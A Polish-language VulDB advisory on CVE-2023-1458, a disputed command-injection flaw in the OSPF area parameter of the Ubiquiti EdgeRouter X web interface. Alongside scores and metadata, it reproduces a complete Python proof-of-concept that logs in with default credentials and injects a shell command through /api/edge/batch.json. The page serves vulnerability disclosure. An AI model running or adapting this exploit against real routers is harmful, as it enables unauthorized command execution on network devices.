Ubiquiti EdgeRouter X 2.0.9-hotfix.6 OSPF area privilege escalation ⚔ [Sporny]
CVSS Wynik metatemperatury | Exploit Aktualna Cena (≈) | Wynik odsetkowy CTI |
---|---|---|
7.8 | $0-$5k | 0.00 |
Odkryto lukę w Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System). Podatnością dotknięta jest nieznana funkcja w komponencie OSPF Handler. Poprzez manipulowanie argumentem area
przy użyciu nieznanych danych wejściowych można doprowadzić do wystąpienia podatności przekroczenie uprawnień. Dokładne konsekwencje udanego ataku nie zostały dotąd poznane.
Informacja o podatności została podana do publicznej wiadomości w dniu 2023-03-17. Podatność ta jest zwana CVE-2023-1458. Techniczne szczegóły, jak również publiczny exploit są znane.
Exploit można ściągnąć pod adresem vuldb.com. Uważa się go za proof-of-concept. Faktyczne istnienie tej podatności jest wciąż wątpliwe. Kod uzywany jest przez wykorzystanie:
import requests import json import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) username = 'ubnt' password = 'ubnt' device_web_ip = '192.168.1.1' ping_target = '192.168.1.5' inject_cmd = 'ping -c 1 ' + ping_target inject_cmd += ';echo test>/etc/test' phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c' csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6' header ={ 'Host': '{}'.format(device_web_ip), 'User-Agent': 'dummy', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '27', 'Origin': 'https://{}/'.format(device_web_ip), 'Connection': 'keep-alive', 'Referer': 'https://{}/'.format(device_web_ip), 'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-User': '?1' } login_body = 'username={}&password={}'.format(username,password) login_url = 'https://{}/'.format(device_web_ip) loop = 3 r = None while loop>0: try: loop -= 1 r = requests.post(url=login_url,headers=header,data=login_body,\ timeout=5,verify=False,allow_redirects=False) if r is None or 'Set-Cookie' not in r.headers.keys(): print("Login failed.") time.sleep((3-loop)*3) else: break except Exception as e: print('Login error:{}'.format(e)) if r is None: print('Failed login,please check and retry!') exit(1) tmp:dict = requests.utils.dict_from_cookiejar(r.cookies) for k,v in tmp.items(): if 'PHPSESSID' == k: phpsessid = '{}'.format(v) elif 'X-CSRF-TOKEN' == k: csrftoken = '{}'.format(v) elif 'beaker.session.id' == k: sessionid = '{}'.format(v) cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) param = {'SET': {'protocols': {'ospf': {'area': '__FORCE_ASSOC;{};'.format(inject_cmd)}}}, 'GET': {'protocols': {'ospf': None}}} victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip) victim_body = json.dumps(param) victim_header = { 'Host': '{}'.format(device_web_ip), 'User-Agent': 'dummy', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/json', 'X-CSRF-TOKEN': '{}'.format(csrftoken), 'X-Requested-With': 'XMLHttpRequest', 'Origin': 'https://{}/'.format(device_web_ip), 'Connection': 'keep-alive', 'Referer': 'https://{}/'.format(device_web_ip), 'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 'Sec-Fetch-Dest': 'empty', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Site': 'same-origin'} r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\ timeout=5,verify=False,allow_redirects=False) print(r.status_code)
Nie są znane żadne środki zaradcze. Sugerowana jest zamiana podatnego komponentu na produkt alternatywny.
Produkt
Rodzaj
Sprzedawca
Imię
Wersja
Licencja
CPE 2.3
CPE 2.2
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Wektor: 🔍
VulDB Niezawodność: 🔍
CVSSv3
VulDB Wynik metabazy: 8.1VulDB Wynik metatemperatury: 7.8
VulDB Wynik podstawowy: 7.2
VulDB Wynik tymczasowy: 6.5
VulDB Wektor: 🔍
VulDB Niezawodność: 🔍
NVD Wynik podstawowy: 9.8
NVD Wektor: 🔍
CNA Wynik podstawowy: 7.2
CNA Wektor (VulDB): 🔍
CVSSv2
AV | AC | Au | C | I | A |
---|---|---|---|---|---|
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Wektor | Możliwość wykorzystania | Uwierzytelnianie | Poufność | Integralność | Dostępność |
---|---|---|---|---|---|
odblokować | odblokować | odblokować | odblokować | odblokować | odblokować |
odblokować | odblokować | odblokować | odblokować | odblokować | odblokować |
odblokować | odblokować | odblokować | odblokować | odblokować | odblokować |
VulDB Wynik podstawowy: 🔍
VulDB Wynik tymczasowy: 🔍
VulDB Niezawodność: 🔍
NVD Wynik podstawowy: 🔍
Exploit
Klasa: Przekroczenie uprawnieńCWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍
Lokalny: Nie
Zdalny: Tak
Dostępność: 🔍
Dostęp: Publiczny
Status: Proof-of-Concept
Pobierać: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Przewidywanie ceny: 🔍
Aktualny szacunek cena: 🔍
0-Day | odblokować | odblokować | odblokować | odblokować |
---|---|---|---|---|
Dzisiaj | odblokować | odblokować | odblokować | odblokować |
Inteligencja Zagrożeń
Wysiłek: 🔍Aktywni aktorzy: 🔍
Aktywne grupy APT: 🔍
Przeciwdziałanie
Zalecane: wiadomo nie ograniczanieStatus: 🔍
0-dniowy czas: 🔍
Oś czasu
2023-03-17 🔍2023-03-17 🔍
2023-03-17 🔍
2023-04-11 🔍
Źródła
Status: Nie określonoSporny: 🔍
CVE: CVE-2023-1458 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013
Wpis
Stworzono: 2023-03-17 08:38Aktualizacje: 2023-04-11 12:18
Zmiany: 2023-03-17 08:38 (40), 2023-03-17 08:40 (3), 2023-04-11 12:10 (2), 2023-04-11 12:18 (28)
Kompletny: 🔍
Zgłaszający: leetmoon
Submit
Przyjęty
- Submit #99980: Command injection at the web management interface of EdgeRouter-x(3) (przez leetmoon)
Brak komentarzy. Języki: pl + en.
Zaloguj się, aby skomentować.